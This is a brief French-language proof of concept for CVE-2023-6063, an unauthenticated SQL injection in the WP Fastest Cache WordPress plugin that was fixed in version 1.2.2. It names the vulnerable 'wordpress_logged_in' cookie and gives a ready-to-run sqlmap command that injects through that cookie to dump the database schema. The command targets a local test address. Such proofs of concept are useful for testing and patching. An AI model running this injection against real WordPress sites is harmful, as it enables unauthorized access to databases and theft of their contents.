CVE-2023-6063 Preuve de concept

Référence

• Vulnérabilité d'injection SQL non authentifiée corrigée dans WP Fastest Cache 1.2.2 | WPScan

Paramètre du plugin

Activez « WP Fastest Cache ».

Preuve de concept

Le paramètre de cookie « wordpress_logged_in » est vulnérable.

$ python sqlmap.py --dbms=mysql -u "http://127.0.0.1/wp-login.php" --cookie='wordpress_logged_in=*' --level=2 --schema